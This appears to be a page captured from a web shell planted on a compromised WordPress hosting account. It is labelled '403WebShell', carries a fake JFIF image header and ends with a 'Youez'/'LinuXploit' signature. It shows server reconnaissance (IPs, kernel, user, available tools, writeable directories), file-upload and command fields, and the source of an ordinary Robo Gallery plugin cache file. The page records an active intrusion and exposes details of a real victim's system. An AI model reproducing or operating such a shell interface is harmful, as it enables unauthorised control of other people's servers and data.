????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/includes/cache.php
<?php
/*
*      Robo Gallery By Robosoft
*      Contact: https://robosoft.co/robogallery/ 
*      Copyright (c) 2014-2019, Robosoft. All rights reserved.
*/

if ( ! defined( 'WPINC' ) ) exit;


function robo_gallery_save_gallery( $post_id, $post, $update ) {
	
    $post_type = get_post_type($post_id);

    if ( ROBO_GALLERY_TYPE_POST != $post_type ) return;
    /* delete db_cache */ 
    delete_transient( ROBO_GALLERY_PREFIX.'cache_id'. $post_id );
    /* delete cache id */ 
    delete_post_meta( $post_id, ROBO_GALLERY_PREFIX.'cache_id' );
    /* set new cache id */
    add_post_meta( $post_id, ROBO_GALLERY_PREFIX.'cache_id', uniqid() );
}
add_action( 'save_post', 'robo_gallery_save_gallery', 10, 3 );


function robo_gallery_new_gallery( $post_id, $post, $update ) {

	if( wp_is_post_revision( $post_id ) ) return;

	$post_type = get_post_type($post_id);
    if ( ROBO_GALLERY_TYPE_POST != $post_type ) return;

	add_post_meta($post_id, ROBO_GALLERY_PREFIX.'cache_id', uniqid() );

}
add_action( 'wp_insert_post', 'robo_gallery_new_gallery', 10, 3 );


Youez - 2016 - github.com/yon3zu
LinuXploit